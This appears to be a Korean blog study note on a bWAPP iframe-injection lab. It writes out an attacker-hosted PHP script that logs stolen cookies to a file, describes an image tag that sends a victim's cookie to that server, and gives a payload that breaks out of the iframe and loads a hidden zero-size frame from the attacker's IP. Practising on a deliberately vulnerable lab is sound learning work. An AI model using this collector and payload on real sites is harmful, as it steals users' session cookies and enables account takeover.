iframe란 웹페이지 안에 다른 웹페이지를 표시할 때 사용되는 태그이다.
홈페이지 접속하면 위와 같이 보이는데 뭔지 모르니깐 페이지 소스를 확인해보자.
확인해보니 iframe 태그로 robots.txt를 보여주고 있다.
버프수트로도 확인해보니 URL로 정보를 넘겨주는 GET방식을 사용하고 있다.
전에 했던 인젝션 방식처럼 URL 파라미터 값을 변경하면 인젝션 할 수 있다. 이번에는 단순히 쿠키값을 보여주는 방식의 실습이 아닌 공격자가 쿠키값을 자신의 서버에 저장하는 실습을 해보겠다.
공격자 컴퓨터(칼리리눅스)에 웹서버를 올리고 쿠키값을 받아오는 php 파일을 만들어야 한다.
#vi /var/www/html/test.php
<?php
$cookie=$_GET["data"];
$log=fopen("cookie.dat","a+");
fwrite($log,"cookie : ".$cookie."\w\n");
fclose($log);
?>
빠른 실습을 위해 내부 서버를 침투했다고 가정하고 웹페이지를 하나 더 만들었다.
스크립트 뭘 써도 상관없다. 사진을 보면 img태그를 사용했으며 src부분에 공격자의 웹서버로 접속하고 data부분으로 쿠키값을 넘겨주게 만들었다.
다시 iframe 실습 사이트로 들어가 보자.
ParamUrl=robots.txt를 아까 만든 injection.html로 바꿔보자. 그리고 공격자 컴퓨터의 data.txt를 확인해보면 쿠키값을 저장되어있다. 하지만 저렇게 url만 바꾸면 robots.txt의 내용이 안 보이게 된다. 이번에는 원본도 보이면서 쿠키값을 얻어보자.
robots.txt를 “></iframe>으로 태그를 닫고 다시 iframe를 사용하면 된다.
robots.txt”></iframe><iframe src=공격자아이피/파일이름 width=”0″ hegiht=”0″>
width와 height는 0으로 설정함으로써 원본 외에 아무것도 안 보이게 된다.
'공부 > bWAPP' 카테고리의 다른 글
PHP Code Injection (0) | 2020.02.19 |
---|---|
OS Command Injection (0) | 2020.02.19 |
HTML Injection – Stored(Blog) (0) | 2020.02.19 |
HTML Injection – Reflected(URL) (0) | 2020.02.19 |
HTML Injection – Reflected(POST) (0) | 2020.02.19 |